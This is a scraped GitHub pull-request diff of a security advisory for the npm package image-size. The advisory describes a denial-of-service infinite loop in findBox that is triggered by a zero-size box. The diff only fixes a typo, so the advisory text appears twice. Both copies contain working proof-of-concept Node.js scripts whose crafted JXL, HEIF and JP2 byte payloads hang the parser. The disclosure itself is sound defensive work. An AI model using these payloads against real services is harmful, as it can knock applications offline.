Thanks to visit codestin.com
Credit goes to github.com

Skip to content

[GHSA-m5qc-5hw7-8vg7] image-size Denial of Service via Infinite Loop during Image Processing #5665

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
@@ -1,11 +1,11 @@
{
"schema_version": "1.4.0",
"id": "GHSA-m5qc-5hw7-8vg7",
"modified": "2025-04-02T15:04:58Z",
"modified": "2025-04-02T15:04:59Z",
"published": "2025-04-02T15:04:58Z",
"aliases": [],
"summary": "image-size Denial of Service via Infinite Loop during Image Processing",
"details": "### Summary\n\n`image-size` is vulnerable to a Denial of Service vulnerability when processing specially crafted images.\n\nThe issue occurs because of an infine loop in `findBox` when processing certain images with a box with size `0`.\n\n\n### Details\n\nIf the first bytes of the input does not match any bytes in `firstBytes`, then the package tries to validate the image using other handlers:\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31\nexport function detector(input: Uint8Array): imageType | undefined {\n const byte = input[0]\n if (byte in firstBytes) {\n const type = firstBytes[byte]\n if (type && typeHandlers[type].validate(input)) {\n return type\n }\n }\n\n const finder = (key: imageType) => typeHandlers[key].validate(input) //<--\n return keys.find(finder)\n}\n```\n\nSome handlers that call `findBox` to validate or calculate the image size are `jxl`, `heif` and `jp2`.\n\n`JXL` handler calls `findBox` inside `validate`. To reach the `findBox` call, the value at position `4:8` should be `'JXL '`\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60\nexport const JXL: IImage = {\n validate: (input: Uint8Array): boolean => {\n const boxType = toUTF8String(input, 4, 8)\n if (boxType !== 'JXL ') return false //<---\n\n const ftypBox = findBox(input, 'ftyp', 0) //<---\n if (!ftypBox) return false\n\n const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)\n return brand === 'jxl '\n },\n```\n\n`findBox` can lead to an infine loop because the value of `box.size` is `0`, thus the `offset` variable is not updated. Below relevant code with comments (using one of the `PAYLOAD` below as example):\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37\nexport const readUInt32BE = (input: Uint8Array, offset = 0) =>\n input[offset] * 2 ** 24 + // 0 +\n input[offset + 1] * 2 ** 16 + // 0 +\n input[offset + 2] * 2 ** 8 + // 0 +\n input[offset + 3] // 0\n\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75\nfunction readBox(input: Uint8Array, offset: number) { // offset: 0\n if (input.length - offset < 4) return\n const boxSize = readUInt32BE(input, offset) // 0\n if (input.length - offset < boxSize) return // (8 - 0) < 0 => false\n return {\n name: toUTF8String(input, 4 + offset, 8 + offset), // 'JXL '\n offset, // 0\n size: boxSize, // 0\n }\n}\n\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84\nexport function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0\n while (offset < input.length) { // 0 < 8 => false\n const box = readBox(input, offset) // { name: 'JXL ', offset: 0, size: 0 }\n if (!box) break // false\n if (box.name === boxName) return box // 'JXL ' === 'ftyp' => false\n offset += box.size // offset += 0\n }\n}\n\n```\n\nA similar issue occurs for `HEIF` and `JP2` handlers:\n- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts\n- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts\n\n\n### PoC\n\nUsage:\n```bash\nnode main.js poc1|poc2\n```\n\n- poc for `[email protected]`\n```js\n// mkdir 2.0.1\n// cd 2.0.1/\n// npm i [email protected]\nconst {imageSizeFromFile} = require(\"image-size/fromFile\");\nconst {imageSize} = require(\"image-size\");\n\nconst fs = require('fs');\n\n// JXL\nconst PAYLOAD = new Uint8Array([\n 0x00, 0x00, 0x00, 0x00, // Box with size 0\n 0x4A, 0x58, 0x4C, 0x20, // \"JXL \"\n]);\n\n// HEIF\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n// 0x61, 0x76, 0x69, 0x66 // \"avif\"\n// ]);\n\n// JP2\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x6A, 0x50, 0x20, 0x20, // \"jP \"\n// ]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() { \n (async () => {\n await imageSizeFromFile(FILENAME)\n console.log('Done') // never executed\n })();\n}\n\nfunction poc2() {\n imageSize(PAYLOAD)\n console.log('Done') // never executed\n}\n\nconst pocs = new Map();\npocs.set('poc1', poc1); // node main.js poc1\npocs.set('poc2', poc2); // node main.js poc2\n\nasync function run() {\n createPayload()\n const args = process.argv.slice(2);\n const t = args[0];\n const poc = pocs.get(t) || poc1;\n console.log(`Running poc....`)\n await poc();\n}\n\nrun();\n```\n\n- poc for `[email protected]`\n```js\n// mkdir 1.2.0\n// cd 1.2.0/\n// npm i [email protected]\nconst sizeOf = require(\"image-size\");\nconst fs = require('fs');\n\n// JXL\nconst PAYLOAD = new Uint8Array([\n 0x00, 0x00, 0x00, 0x00, // Box with size 0\n 0x4A, 0x58, 0x4C, 0x20, // \"JXL \"\n]);\n\n// HEIF\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n// 0x61, 0x76, 0x69, 0x66 // \"avif\"\n// ]);\n\n// JP2\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x6A, 0x50, 0x20, 0x20, // \"jP \"\n// ]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() {\n sizeOf(FILENAME)\n console.log('Done') // never executed\n}\n\nfunction poc2() {\n sizeOf(PAYLOAD)\n console.log('Done') // never executed\n}\n\nconst pocs = new Map();\npocs.set('poc1', poc1); // node main.js poc1\npocs.set('poc2', poc2); // node main.js poc2\n\nasync function run() {\n createPayload()\n const args = process.argv.slice(2);\n const t = args[0];\n const poc = pocs.get(t) || poc1;\n console.log(`Running poc....`)\n await poc();\n}\n\nrun();\n```\n\n- poc for `[email protected]`\n```js\n// mkdir 1.1.1\n// cd 1.1.1/\n// npm i [email protected]\nconst sizeOf = require(\"image-size\");\nconst fs = require('fs');\n\n// HEIF\nconst PAYLOAD = new Uint8Array([\n 0x00, 0x00, 0x00, 0x00, // Box with size 0\n 0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n 0x61, 0x76, 0x69, 0x66 // \"avif\"\n]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() {\n sizeOf(FILENAME)\n console.log('Done') // never executed\n}\n\nfunction poc2() {\n sizeOf(PAYLOAD)\n console.log('Done') // never executed\n}\n\nconst pocs = new Map();\npocs.set('poc1', poc1); // node main.js poc1\npocs.set('poc2', poc2); // node main.js poc2\n\nasync function run() {\n createPayload()\n const args = process.argv.slice(2);\n const t = args[0];\n const poc = pocs.get(t) || poc1;\n console.log(`Running poc....`)\n await poc();\n}\n\nrun();\n```\n\n\n### Impact\n\nDenial of Service",
"details": "### Summary\n\n`image-size` is vulnerable to a Denial of Service vulnerability when processing specially crafted images.\n\nThe issue occurs because of an infinite loop in `findBox` when processing certain images with a box with size `0`.\n\n\n### Details\n\nIf the first bytes of the input does not match any bytes in `firstBytes`, then the package tries to validate the image using other handlers:\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/detector.ts#L20-L31\nexport function detector(input: Uint8Array): imageType | undefined {\n const byte = input[0]\n if (byte in firstBytes) {\n const type = firstBytes[byte]\n if (type && typeHandlers[type].validate(input)) {\n return type\n }\n }\n\n const finder = (key: imageType) => typeHandlers[key].validate(input) //<--\n return keys.find(finder)\n}\n```\n\nSome handlers that call `findBox` to validate or calculate the image size are `jxl`, `heif` and `jp2`.\n\n`JXL` handler calls `findBox` inside `validate`. To reach the `findBox` call, the value at position `4:8` should be `'JXL '`\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jxl.ts#L51-L60\nexport const JXL: IImage = {\n validate: (input: Uint8Array): boolean => {\n const boxType = toUTF8String(input, 4, 8)\n if (boxType !== 'JXL ') return false //<---\n\n const ftypBox = findBox(input, 'ftyp', 0) //<---\n if (!ftypBox) return false\n\n const brand = toUTF8String(input, ftypBox.offset + 8, ftypBox.offset + 12)\n return brand === 'jxl '\n },\n```\n\n`findBox` can lead to an infine loop because the value of `box.size` is `0`, thus the `offset` variable is not updated. Below relevant code with comments (using one of the `PAYLOAD` below as example):\n```js\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L33-L37\nexport const readUInt32BE = (input: Uint8Array, offset = 0) =>\n input[offset] * 2 ** 24 + // 0 +\n input[offset + 1] * 2 ** 16 + // 0 +\n input[offset + 2] * 2 ** 8 + // 0 +\n input[offset + 3] // 0\n\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L66-L75\nfunction readBox(input: Uint8Array, offset: number) { // offset: 0\n if (input.length - offset < 4) return\n const boxSize = readUInt32BE(input, offset) // 0\n if (input.length - offset < boxSize) return // (8 - 0) < 0 => false\n return {\n name: toUTF8String(input, 4 + offset, 8 + offset), // 'JXL '\n offset, // 0\n size: boxSize, // 0\n }\n}\n\n// https://github.com/image-size/image-size/blob/v1.2.0/lib/types/utils.ts#L77-L84\nexport function findBox(input: Uint8Array, boxName: string, offset: number) { // boxName: 'ftyp', offset: 0\n while (offset < input.length) { // 0 < 8 => false\n const box = readBox(input, offset) // { name: 'JXL ', offset: 0, size: 0 }\n if (!box) break // false\n if (box.name === boxName) return box // 'JXL ' === 'ftyp' => false\n offset += box.size // offset += 0\n }\n}\n\n```\n\nA similar issue occurs for `HEIF` and `JP2` handlers:\n- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/heif.ts\n- https://github.com/image-size/image-size/blob/v1.2.0/lib/types/jp2.ts\n\n\n### PoC\n\nUsage:\n```bash\nnode main.js poc1|poc2\n```\n\n- poc for `[email protected]`\n```js\n// mkdir 2.0.1\n// cd 2.0.1/\n// npm i [email protected]\nconst {imageSizeFromFile} = require(\"image-size/fromFile\");\nconst {imageSize} = require(\"image-size\");\n\nconst fs = require('fs');\n\n// JXL\nconst PAYLOAD = new Uint8Array([\n 0x00, 0x00, 0x00, 0x00, // Box with size 0\n 0x4A, 0x58, 0x4C, 0x20, // \"JXL \"\n]);\n\n// HEIF\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n// 0x61, 0x76, 0x69, 0x66 // \"avif\"\n// ]);\n\n// JP2\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x6A, 0x50, 0x20, 0x20, // \"jP \"\n// ]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() { \n (async () => {\n await imageSizeFromFile(FILENAME)\n console.log('Done') // never executed\n })();\n}\n\nfunction poc2() {\n imageSize(PAYLOAD)\n console.log('Done') // never executed\n}\n\nconst pocs = new Map();\npocs.set('poc1', poc1); // node main.js poc1\npocs.set('poc2', poc2); // node main.js poc2\n\nasync function run() {\n createPayload()\n const args = process.argv.slice(2);\n const t = args[0];\n const poc = pocs.get(t) || poc1;\n console.log(`Running poc....`)\n await poc();\n}\n\nrun();\n```\n\n- poc for `[email protected]`\n```js\n// mkdir 1.2.0\n// cd 1.2.0/\n// npm i [email protected]\nconst sizeOf = require(\"image-size\");\nconst fs = require('fs');\n\n// JXL\nconst PAYLOAD = new Uint8Array([\n 0x00, 0x00, 0x00, 0x00, // Box with size 0\n 0x4A, 0x58, 0x4C, 0x20, // \"JXL \"\n]);\n\n// HEIF\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n// 0x61, 0x76, 0x69, 0x66 // \"avif\"\n// ]);\n\n// JP2\n// const PAYLOAD = new Uint8Array([\n// 0x00, 0x00, 0x00, 0x00, // Box with size 0\n// 0x6A, 0x50, 0x20, 0x20, // \"jP \"\n// ]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() {\n sizeOf(FILENAME)\n console.log('Done') // never executed\n}\n\nfunction poc2() {\n sizeOf(PAYLOAD)\n console.log('Done') // never executed\n}\n\nconst pocs = new Map();\npocs.set('poc1', poc1); // node main.js poc1\npocs.set('poc2', poc2); // node main.js poc2\n\nasync function run() {\n createPayload()\n const args = process.argv.slice(2);\n const t = args[0];\n const poc = pocs.get(t) || poc1;\n console.log(`Running poc....`)\n await poc();\n}\n\nrun();\n```\n\n- poc for `[email protected]`\n```js\n// mkdir 1.1.1\n// cd 1.1.1/\n// npm i [email protected]\nconst sizeOf = require(\"image-size\");\nconst fs = require('fs');\n\n// HEIF\nconst PAYLOAD = new Uint8Array([\n 0x00, 0x00, 0x00, 0x00, // Box with size 0\n 0x66, 0x74, 0x79, 0x70, // \"ftyp\"\n 0x61, 0x76, 0x69, 0x66 // \"avif\"\n]);\n\nconst FILENAME = \"./poc.svg\"\n\nfunction createPayload() {\n fs.writeFileSync(FILENAME, PAYLOAD);\n}\n\nfunction poc1() {\n sizeOf(FILENAME)\n console.log('Done') // never executed\n}\n\nfunction poc2() {\n sizeOf(PAYLOAD)\n console.log('Done') // never executed\n}\n\nconst pocs = new Map();\npocs.set('poc1', poc1); // node main.js poc1\npocs.set('poc2', poc2); // node main.js poc2\n\nasync function run() {\n createPayload()\n const args = process.argv.slice(2);\n const t = args[0];\n const poc = pocs.get(t) || poc1;\n console.log(`Running poc....`)\n await poc();\n}\n\nrun();\n```\n\n\n### Impact\n\nDenial of Service",
"severity": [
{
"type": "CVSS_V3",
Expand Down
Loading